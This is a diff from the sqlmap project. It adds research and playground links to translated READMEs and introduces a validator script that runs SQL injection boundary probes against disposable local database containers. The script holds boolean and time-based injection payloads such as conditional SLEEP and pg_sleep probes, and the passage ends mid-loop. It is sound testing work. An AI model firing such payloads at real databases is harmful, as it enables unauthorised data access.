2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ Odnośniki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Piaskownica: https://sekumart.sekuripy.hr +* Badania: https://www.sekuripy.hr/labs/sqlmap/#research * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 9f5ebfd9938..06d5e361a4e 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ Links * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) +* Playground: https://sekumart.sekuripy.hr +* Pesquisa: https://www.sekuripy.hr/labs/sqlmap/#research * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index e130727feaa..5f6e20dff3e 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ Linkovi * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Poligon: https://sekumart.sekuripy.hr +* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md index 38147222530..c3a77c10c00 100644 --- a/doc/translations/README-ru-RU.md +++ b/doc/translations/README-ru-RU.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ sqlmap работает из коробки с [Python](https://www.python.org/d * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Песочница: https://sekumart.sekuripy.hr +* Исследования: https://www.sekuripy.hr/labs/sqlmap/#research * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md index d673b3e3aa8..6f813c15772 100644 --- a/doc/translations/README-sk-SK.md +++ b/doc/translations/README-sk-SK.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ Linky * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) -* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file +* Cvičisko: https://sekumart.sekuripy.hr +* Výskum: https://www.sekuripy.hr/labs/sqlmap/#research +* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 46e5267e9e0..f19ac8d2e3d 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -50,4 +50,6 @@ Bağlantılar * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Deneme alanı: https://sekumart.sekuripy.hr +* Araştırma: https://www.sekuripy.hr/labs/sqlmap/#research * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index ab7814676b1..8849d95f6dd 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Пісочниця: https://sekumart.sekuripy.hr +* Дослідження: https://www.sekuripy.hr/labs/sqlmap/#research * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index ceb2724552d..f9d68901313 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -49,4 +49,6 @@ Liên kết * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Sân tập: https://sekumart.sekuripy.hr +* Nghiên cứu: https://www.sekuripy.hr/labs/sqlmap/#research * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index b065c10a0fa..59843e97264 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -46,4 +46,6 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 靶场: https://sekumart.sekuripy.hr +* 研究: https://www.sekuripy.hr/labs/sqlmap/#research * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/boundarycheck/README.md b/extra/boundarycheck/README.md new file mode 100644 index 00000000000..340de757f95 --- /dev/null +++ b/extra/boundarycheck/README.md @@ -0,0 +1,112 @@ +# boundarycheck + +A live cross-DBMS validator for `data/xml/boundaries.xml`. For every reachable DBMS it builds the +**real** injected value for each boundary (through sqlmap's own `agent.prefixQuery` / `suffixQuery` / +`cleanupPayload`, not a re-implementation) across representative host-query contexts, runs it against +the engine, and classifies each boundary via three oracles: + +``` +W boolean TRUE/FALSE variants are valid AND their row counts differ +T time an inline conditional sleep delays on TRUE, not on FALSE (MySQL / PostgreSQL) +I inband an injected marker surfaces in the result set (table cross-join / UNION) +. inert valid SQL but no channel discriminated in the contexts tried +x invalid a syntax / semantic error on this engine +``` + +It prints a `boundary x engine` matrix plus the boundaries usable via **no** oracle on any engine +(the "no working context found" review candidates). Any engine that does not connect is **skipped** +and reported as such — never silently counted as covered. + +> Scope: covers boolean + inline-time (MySQL/PG) + inband over a sampled set of contexts. It does +> **not** model an error-based oracle, inline time on MSSQL/Oracle (statement/privilege-gated sleep), +> or every possible host context. So a boundary flagged "usable via no oracle" may still work via one +> of those — confirm before acting. + +--- + +## Quick start (throwaway MySQL + PostgreSQL) + +```bash +pip install pymysql psycopg2-binary # python drivers (see below for MSSQL/Oracle) +./run.sh # spins up 2 containers, runs, tears everything down +``` + +`run.sh` is fully disposable: it creates two containers, waits for readiness, runs the tool, and +removes them again on exit (including Ctrl-C / failure). Nothing persists. + +--- + +## Full lab (all four engines) — step by step + +The tool's built-in default endpoints (override any via env var — see below): + +| engine | host:port | user / pass | db / service | +|------------|-------------------|----------------------|--------------| +| MySQL | `127.0.0.1:13306` | `root` / `root` | — | +| PostgreSQL | `127.0.0.1:15432` | `esp` / `pass` | `espdb` | +| MSSQL | `127.0.0.1:11433` | `sa` / `Esp_pass123` | — | +| Oracle | `127.0.0.1:1521` | `system` / `oracle` | `FREEPDB1` | + +### 1. Python drivers + +```bash +pip install pymysql psycopg2-binary pymssql oracledb +``` + +(Install only the ones you need — a missing driver just skips that engine.) + +### 2. Start the containers + +```bash +# MySQL (fast) +docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:3306 mysql:8.4 + +# PostgreSQL (fast) +docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p 15432:5432 postgres:16 + +# MSSQL (slower; ~30-60s to accept connections) +docker run -d --rm --name bcheck-mssql -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD=Esp_pass123 -p 11433:1433 mcr.microsoft.com/mssql/server:2022-latest + +# Oracle Free (slowest; first boot can take a few minutes and the image is large) +docker run -d --rm --name bcheck-oracle -e ORACLE_PASSWORD=oracle -p 1521:1521 gvenzl/oracle-free:slim +``` + +Give MSSQL/Oracle time to finish initialising before running the tool (watch `docker logs -f `). + +### 3. Run + +```bash +python3 boundarycheck.py # from anywhere; it locates the sqlmap root itself +``` + +### 4. Override an endpoint (optional) + +``` +BC_MYSQL=host:port:user:pass +BC_POSTGRES=host:port:user:pass:db +BC_MSSQL=host:port:user:pass +BC_ORACLE=host:port:user:pass:service # service_name goes in the db slot +``` + +```bash +BC_MYSQL=10.0.0.5:3306:root:secret python3 boundarycheck.py +``` + +### 5. Tear down + +```bash +docker rm -f bcheck-mysql bcheck-pg bcheck-mssql bcheck-oracle +``` + +--- + +## Notes + +- **Faithfulness:** the tool imports the `plugins.dbms.*` packages so each DBMS's `unescaper` is + registered. Without that, `SELECT '[RANDSTR]'` renders as a bare identifier instead of the real + `0x`-hex / `CHR()` literal and concat-style boundaries are mis-reported. A `_faithful_or_die()` + self-check aborts if the registration ever fails to load. +- **Side-effect-free on the target data:** it creates a scratch table `bc` (and a `boundarycheck` + database on MySQL), and drops them on completion. DML boundaries write only to a spare `note` column. +- Engines are used purely as SQL oracles over localhost throwaway containers — do not point the + override env vars at anything you care about. diff --git a/extra/boundarycheck/boundarycheck.py b/extra/boundarycheck/boundarycheck.py new file mode 100644 index 00000000000..17de09c19fd --- /dev/null +++ b/extra/boundarycheck/boundarycheck.py @@ -0,0 +1,389 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Live cross-DBMS validator for data/xml/boundaries.xml. + +WHAT + For every reachable DBMS this builds the REAL injected parameter value for each + boundary - through the actual agent.prefixQuery / suffixQuery / cleanupPayload + path, NOT a re-implementation - across a set of representative host-query + contexts, runs the TRUE and FALSE variants against the live engine, and + classifies the boundary via three oracles: + + W (WORKS) boolean: TRUE/FALSE variants are valid AND their row counts differ + T (TIME) inline conditional sleep delays on TRUE, not on FALSE (MySQL/PG only) + I (INBAND) an injected marker surfaces in the result set (table cross-join / UNION) + . (inert) valid SQL but no channel discriminates in the contexts tried + x (invalid) a syntax/semantic error on this engine + + Output is a boundary x engine matrix plus the boundaries usable via NO oracle on any + reachable engine - the "no working context found" review candidates. + +WHY + boundaries.xml is the detection core. This answers "does boundary X actually + produce valid, discriminating SQL on engine Y" with evidence instead of argument. + +FAITHFULNESS (do not remove the plugins.dbms.* imports) + The per-DBMS `unescaper` registrations load only when the plugin packages are + imported. Without them "SELECT '[RANDSTR]'" renders as a bare identifier instead + of the real 0x-hex / CHR() literal, and every concat-style boundary is falsely + reported broken. The import plus _faithful_or_die() guard against that. + +SCOPE / LIMITATION + Covers the boolean, inline-time (MySQL/PG) and inband oracles over a representative + set of host contexts. Still NOT modeled: the error-based oracle, inline time on + MSSQL/Oracle (statement/privilege-gated sleep), and any host context not in the set. + So a boundary flagged "usable via NO oracle" may still work via one of those - confirm + before acting. "inert" means no channel discriminated in the contexts tried. + +BENCH + Needs live engines. Defaults target the local docker bench; any engine that does + not connect (driver missing or refused) is SKIPPED and reported as skipped - never + silently counted as covered. Override a target with an env var (host:port:user:pass[:db]): + + MySQL BC_MYSQL default 127.0.0.1:13306:root:root + PostgreSQL BC_POSTGRES default 127.0.0.1:15432:esp:pass:espdb + MSSQL BC_MSSQL default 127.0.0.1:11433:sa:Esp_pass123 + Oracle BC_ORACLE default 127.0.0.1:1521:system:oracle:FREEPDB1 (service_name in db slot) + +USAGE (from the sqlmap root) + python extra/boundarycheck/boundarycheck.py +""" + +from __future__ import print_function + +import os +import sys +import time +import xml.etree.ElementTree as ET + +_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) +sys.path.insert(0, _ROOT) +sys.path.insert(0, os.path.join(_ROOT, "tests")) + +from _testutils import bootstrap, set_dbms +bootstrap() + +# Faithfulness (see FAITHFULNESS above): importing each DBMS plugin package runs its module-level +# `unescaper[] = Syntax.escape` registration - a side effect, not a symbol we use. Trigger it via +# import_module so there is no bound-but-unused name for pyflakes to flag. +import importlib +for _plugin in ("mysql", "postgresql", "oracle", "mssqlserver"): + importlib.import_module("plugins.dbms.%s" % _plugin) + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD +from lib.core.unescaper import unescaper +import lib.core.agent as _agentmod + +agent = _agentmod.agent +conf.noEscape = False + +TRUE_PAYLOAD = "AND 9911=9911" +FALSE_PAYLOAD = "AND 9911=9912" +TIME_THRESHOLD = 0.4 # seconds; a conditional sleep of ~0.7s must clear this, a no-op must not +INBAND_MARKER = "qBCiNBANDq" # distinctive token; if it surfaces in the result set the +INBAND_PAYLOAD = "(SELECT '%s')" % INBAND_MARKER # boundary opens an inband output channel (e.g. a table cross-join) + +# per-engine conditional-sleep payload pair (delay-if-true, no-delay) for the TIME oracle. Only engines +# with an INLINE sleep expression are covered; MSSQL (WAITFOR is a statement) and Oracle (DBMS_LOCK/PIPE, +# privilege-gated) need a statement/stacked sleep, so their inline time-usability is NOT modeled here. +SLEEP = { + "MySQL": ("AND 0=(SELECT SLEEP(0.7))", "AND 0=(SELECT SLEEP(0))"), # subquery => fires once, not per-row + "PostgreSQL": ("AND 1=(SELECT 1 FROM pg_sleep(0.7))", "AND 1=(SELECT 1 FROM pg_sleep(0))"), +} + +# portable WHERE-clause contexts at parenthesis depths 0-3 (numeric + single-quoted string), so the +# ')' / '))' / ')))' and "'" / "')" / "'))" boundary families each meet a host that actually closes +# the matching depth. Reused by every engine; engine-specific contexts are appended in the adapters. +WHERE_CONTEXTS = [ + ("SELECT COUNT(*) FROM bc WHERE name LIKE '%%%s%%'", "orig"), # LIKE '%...%' + ("SELECT COUNT(*) FROM bc %s", ""), # bare pre-WHERE (add a WHERE) + ("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE id=%s) q", "1"), # derived table (numeric) + ("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name='%s') q", "orig"), # derived table (single-quote) + ("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE id=%s) a) q", "1"), # derived table 2-deep + ("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name='%s') a) q", "orig"), + ("UPDATE bc SET note='%s' WHERE id=1", "orig"), # pre-WHERE DML (rowcount oracle) + ("SELECT * FROM %s", "bc"), # table-name (inband cross-join) +] +for _depth in range(4): + _open, _close = "(" * _depth, ")" * _depth + WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "id=%s" + _close, "1")) + WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "name='%s'" + _close, "orig")) + + +def _faithful_or_die(): + set_dbms("MySQL") + if unescaper.escape("abc", quote=False) == "abc": + sys.exit("FATAL: unescaper not registered - '[RANDSTR]' would render as a bare identifier and " + "verdicts would be wrong. Check the plugins.dbms.* imports at the top of this file.") + + +def build_value(dbms, prefix, suffix, clause, payload, orig): + """The real injected parameter value for where=ORIGINAL (checks.py:490-493 + agent.payload line 181/183).""" + set_dbms(dbms) + kb.injection = AttribDict() + for _ in ("prefix", "suffix", "clause", "ptype", "place", "parameter"): + kb.injection[_] = None + kb.injection.data = AttribDict() + kb.technique = None + forged = agent.prefixQuery(agent.cleanupPayload(payload), prefix, PAYLOAD.WHERE.ORIGINAL, clause) + forged = agent.suffixQuery(forged, None, suffix, PAYLOAD.WHERE.ORIGINAL) + value = agent.cleanupPayload("%s%s" % (orig, forged), orig) or "" + return value.replace(_agentmod.BOUNDARY_BACKSLASH_MARKER, "\\") + + +def make_run(cur, rollback=None): + """A query runner: returns ("ok", rows) for a result set, ("ok", ("rc", n)) for a DML row count + (cursor.description is None => no result set), or ("err", msg). DML lets pre-WHERE boundaries be + judged by affected-row count (TRUE matches rows, FALSE matches none).""" + def run(sql): + try: + cur.execute(sql) + except Exception as e: + if rollback: + try: + rollback() + except Exception: + pass + return ("err", str(e).splitlines()[-1][:50]) + if cur.description is None: + return ("ok", ("rc", cur.rowcount)) + return ("ok", tuple(cur.fetchall())) + return run + + +def classify(run, dbms, prefix, suffix, clause, contexts): + """Best verdict of a boundary across the engine's contexts: WORKS(boolean) > TIME > inert > invalid. + + The TIME oracle only runs when the boolean probe was valid-but-inert (best=='inert') - i.e. the + injected SQL parses and runs but the boolean AND does not change the row count. That is exactly the + error/time-primitive candidate: a conditional sleep that delays on TRUE and not on FALSE proves the + injected expression actually executes. If every boolean probe was a syntax error (best=='invalid'), + the same syntax fails the time payload too, so it is skipped.""" + best = "invalid" + for host, orig in contexts: + st, rt = run(host % build_value(dbms, prefix, suffix, clause, TRUE_PAYLOAD, orig)) + sf, rf = run(host % build_value(dbms, prefix, suffix, clause, FALSE_PAYLOAD, orig)) + if st == "ok" and sf == "ok": + if rt != rf: + return "WORKS" + best = "inert" + + if best == "inert" and dbms in SLEEP: + slow_p, fast_p = SLEEP[dbms] + for host, orig in contexts: + t0 = time.time() + run(host % build_value(dbms, prefix, suffix, clause, slow_p, orig)) + if time.time() - t0 >= TIME_THRESHOLD: # TRUE variant delayed + t0 = time.time() + run(host % build_value(dbms, prefix, suffix, clause, fast_p, orig)) + if time.time() - t0 < TIME_THRESHOLD: # FALSE variant did not + return "TIME" + + # inband: the injected expression's output surfaces directly in the result set (a table-name + # cross-join, UNION or select-list channel) - invisible to the boolean/time oracles above. + for host, orig in contexts: + st, r = run(host % build_value(dbms, prefix, suffix, clause, INBAND_PAYLOAD, orig)) + if st == "ok" and INBAND_MARKER in str(r): + return "INBAND" + return best + + +def _env(name, default): + parts = (os.environ.get(name) or default).split(":") + parts += [None] * (5 - len(parts)) + host, port, user, pwd, db = parts[:5] + return host, int(port), user, pwd, db + + +# --- engine adapters: return (sqlmap_dbms, run_fn, contexts, cleanup_fn) or None to skip ------------- + +def _mysql(): + try: + import pymysql + h, p, u, w, _ = _env("BC_MYSQL", "127.0.0.1:13306:root:root") + c = pymysql.connect(host=h, port=p, user=u, password=w, connect_timeout=5, autocommit=True) + cur = c.cursor() + cur.execute("CREATE DATABASE IF NOT EXISTS boundarycheck") + cur.execute("USE boundarycheck") + for q in ("DROP TABLE IF EXISTS bc", + "CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64),FULLTEXT(name)) ENGINE=InnoDB", + "INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"): + cur.execute(q) + c.commit() + except Exception as ex: + return None, str(ex).splitlines()[0][:60] + + run = make_run(cur, c.rollback) + contexts = WHERE_CONTEXTS + [ + ("SELECT `%s` FROM bc", "name"), # backtick column identifier + ('SELECT COUNT(*) FROM bc WHERE name="%s"', "orig"), # MySQL: " is a string delim + ('SELECT COUNT(*) FROM bc WHERE (name="%s")', "orig"), + ('SELECT COUNT(*) FROM bc WHERE ((name="%s"))', "orig"), + ('SELECT COUNT(*) FROM bc WHERE (((name="%s")))', "orig"), + ('UPDATE bc SET note="%s" WHERE id=1', "orig"), # double-quote pre-WHERE DML + ('SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name="%s") q', "orig"), # dq derived table + ('SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name="%s") a) q', "orig"), + ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment + ("SELECT COUNT(*) FROM bc WHERE MATCH(name) AGAINST('%s')", "orig"), # fulltext (IN BOOLEAN MODE) + ("SELECT COUNT(*) FROM `%s`", "bc"), # backtick table + ("SELECT COUNT(*) FROM (SELECT * FROM `%s`) q", "bc")] # backtick table in derived + + def cleanup(): + try: + cur.execute("DROP DATABASE boundarycheck"); c.commit(); c.close() + except Exception: + pass + return ("MySQL", run, contexts, cleanup), None + + +def _postgres(): + try: + import psycopg2 + h, p, u, w, db = _env("BC_POSTGRES", "127.0.0.1:15432:esp:pass:espdb") + c = psycopg2.connect(host=h, port=p, user=u, password=w, dbname=db, connect_timeout=5) + c.autocommit = True + cur = c.cursor() + cur.execute("DROP TABLE IF EXISTS bc") + cur.execute("CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))") + cur.execute("INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')") + except Exception as ex: + return None, str(ex).splitlines()[0][:60] + + run = make_run(cur, c.rollback) + contexts = WHERE_CONTEXTS + [ + ('SELECT id FROM bc ORDER BY "%s"', "name"), # ANSI double-quote identifier + ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment + ("SELECT COUNT(*) FROM bc WHERE name=$$%s$$", "orig")] # dollar quoting + + def cleanup(): + try: + cur.execute("DROP TABLE bc"); c.close() + except Exception: + pass + return ("PostgreSQL", run, contexts, cleanup), None + + +def _mssql(): + try: + import pymssql + h, p, u, w, _ = _env("BC_MSSQL", "127.0.0.1:11433:sa:Esp_pass123") + c = pymssql.connect(server=h, port=p, user=u, password=w, database="master", autocommit=True, login_timeout=5) + cur = c.cursor() + for q in ("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc", "CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))", + "INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"): + cur.execute(q) + except Exception as ex: + return None, str(ex).splitlines()[-1][:60] + + run = make_run(cur) + contexts = WHERE_CONTEXTS + [ + ("SELECT [%s] FROM bc", "name"), # bracket column identifier (string) + ("SELECT [%s] FROM bc", "id"), # bracket column identifier (numeric) + ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x")] # block comment + + def cleanup(): + try: + cur.execute("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc"); c.close() + except Exception: + pass + return ("Microsoft SQL Server", run, contexts, cleanup), None + + +def _oracle(): + try: + try: + import oracledb as ora + except ImportError: + import cx_Oracle as ora + h, p, u, w, svc = _env("BC_ORACLE", "127.0.0.1:1521:system:oracle:FREEPDB1") + c = ora.connect(user=u, password=w, dsn=ora.makedsn(h, p, service_name=svc)) + c.autocommit = True + cur = c.cursor() + for q in ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE bc'; EXCEPTION WHEN OTHERS THEN NULL; END;", + "CREATE TABLE bc(id INT, name VARCHAR2(64), note VARCHAR2(64))", + "INSERT INTO bc VALUES(1,'orig','n')", "INSERT INTO bc VALUES(2,'x','n')"): + cur.execute(q) + c.commit() + except Exception as ex: + return None, str(ex).splitlines()[0][:60] + + run = make_run(cur, c.rollback) + contexts = WHERE_CONTEXTS + [ + ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment + ("SELECT COUNT(*) FROM bc WHERE name=q'[%s]'", "orig"), # alternative quoting q'[...]' + ("SELECT COUNT(*) FROM bc WHERE name=q'{%s}'", "orig"), + ("SELECT COUNT(*) FROM bc WHERE name=q'(%s)'", "orig"), + ("SELECT COUNT(*) FROM bc WHERE name=q'<%s>'", "orig")] + + def cleanup(): + try: + c.close() + except Exception: + pass + return ("Oracle", run, contexts, cleanup), None + + +ADAPTERS = [_mysql, _postgres, _mssql, _oracle] + + +def main(): + _faithful_or_die() + + boundaries = ET.parse(os.path.join(_ROOT, "data", "xml", "boundaries.xml")).findall(".//boundary") + + engines, skipped = [], [] + for adapter in ADAPTERS: + got, why = adapter() + (engines if got else skipped).append(got or (adapter.__name__.strip("_"), why)) + + if not engines: + print("no reachable DBMS - nothing validated. Bring up the bench (see module docstring).") + for name, why in skipped: + print(" skipped %-12s (%s)" % (name, why)) + return + + names = [e[0] for e in engines] + mark = {"WORKS": "W", "TIME": "T", "INBAND": "I", "inert": ".", "invalid": "x"} + print("boundary%s %s" % (" " * 38, " ".join("%-6s" % n[:6] for n in names))) + print("-" * (46 + 8 * len(names))) + + verdicts = [] + for idx, b in enumerate(boundaries, 1): + g = lambda k: (b.findtext(k) or "").strip() + prefix, suffix = b.findtext("prefix") or "", b.findtext("suffix") or "" # NOT stripped: leading/trailing space is significant 